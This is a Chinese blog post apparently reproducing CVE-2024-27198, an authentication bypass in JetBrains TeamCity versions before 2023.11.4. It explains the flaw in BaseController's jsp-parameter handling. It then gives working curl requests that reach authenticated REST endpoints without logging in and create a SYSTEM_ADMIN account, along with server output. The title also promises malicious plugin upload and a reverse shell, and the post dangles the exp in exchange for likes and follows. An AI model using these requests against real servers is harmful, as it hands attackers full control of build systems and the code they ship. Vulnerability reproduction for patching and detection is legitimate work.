【JetBrains TeamCity 身份验证绕过漏洞 CVE-2024-27198 未授权创建用户token】 + 上传恶意插件执行命令 反弹shell【复现漏洞】【有漏洞exp】
1、绕过限制,未授权生成token。2、利用创建用户token上传恶意插件以实现任意代码执行。
介绍
JetBrains TeamCity中存在身份验证绕过漏洞,未经身份验证的远程攻击者利用该漏洞创建用户token,上传恶意插件执行任意代码。
全球资产规模:十万级
受影响版本:TeamCity < 2023.11.4
CVE-2024-27198 漏洞成因:
默认情况下,TeamCity 通过 HTTP 端口 8111 公开 Web 服务器(并且可以选择配置为通过 HTTPS 运行)。攻击者可以精心设计一个 URL,以避免所有身份验证检查,从而允许未经身份验证的攻击者直接访问需要身份验证的功能。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器。
该漏洞存在于该类jetbrains.buildServer.controllers.BaseController
处理某些请求的方式上。这个类是在web-openapi.jar
库中实现的。handleRequestInternal
我们可以在下面看到,当类中的方法正在处理请求时BaseController
,如果请求没有被重定向(即处理程序未发出 HTTP 302 重定向),则将updateViewIfRequestHasJspParameter
调用该方法。
public abstract class BaseController extends AbstractController {
// ...snip...
public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
ModelAndView modelAndView = this.doHandle(request, response);
if (modelAndView != null) {
if (modelAndView.getView() instanceof RedirectView) {
modelAndView.getModel().clear();
} else {
this.updateViewIfRequestHasJspParameter(request, modelAndView);
}
}
在下面列出的方法中,我们可以看到,如果当前请求有名称,并且当前请求的 servlet 路径不以 结尾,则updateViewIfRequestHasJspParameter
该变量isControllerRequestWithViewName
将被设置为 true 。modelAndView
.jsp
我们可以通过向服务器请求 URI 来生成 HTTP 404 响应来满足此要求。这样的请求将生成一个 servlet 路径/404.html
。.html
我们可以注意到,这以而非结尾.jsp
,因此isControllerRequestWithViewName
will 为真。
接下来我们可以看到该方法getJspFromRequest
将被调用,并且该调用的结果将传递给 Java Spring 框架ModelAndView.setViewName
方法。这样做的结果允许攻击者更改 正在处理的 URL DispatcherServlet
,从而允许攻击者在可以控制变量内容的情况下调用任意端点 jspFromRequest
。
private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
String jspFromRequest = this.getJspFromRequest(request);
if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
modelAndView.setViewName(jspFromRequest);
}
}
要了解攻击者如何指定任意端点,我们可以检查getJspFromRequest
下面的方法。
jsp
此方法将检索当前请求中指定的 HTTP 参数的字符串值。将测试该字符串值以确保它以受限路径段结尾.jsp
且不包含受限路径段admin/
。
protected String getJspFromRequest(@NotNull HttpServletRequest request) {
String jspFromRequest = request.getParameter("jsp");
return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}
依据成因构造绕过限制触发漏洞
未经身份验证,请求,
curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT
Authentication required
To login manually go to "/login.html" page
要利用此漏洞成功调用经过身份验证的接口/app/rest/server
,未经身份验证的攻击者必须在 HTTP(S) 请求期间满足以下三个要求:
- 请求未经身份验证的资源,该资源会生成 404 响应。这可以通过请求不存在的资源来实现,例如:
/hax
- 传递名为 jsp 的 HTTP 查询参数,其中包含经过身份验证的 URI 路径的值。这可以通过附加 HTTP 查询字符串来实现,例如:
?jsp=/app/rest/server
- 确保任意 URI 路径以 .jsp 结尾。这可以通过附加 HTTP 路径参数段来实现,例如:
;.jsp
结合上述要求,攻击者的URI路径变为:
/hax?jsp=/app/rest/server;.jsp
通过使用身份验证绕过漏洞,我们可以在无需身份验证的情况下成功调用此经过身份验证的端点。
curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>
未经身份验证的攻击者可以通过针对/app/rest/users
REST API 端点,使用攻击者控制的密码创建新的管理员用户:
curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>
总结
1、绕过限制,未授权生成token。
2、利用创建用户token上传恶意插件以实现任意代码执行。
漏洞exp 验证(需要exp 点赞、收藏、关注):
更多推荐
所有评论(0)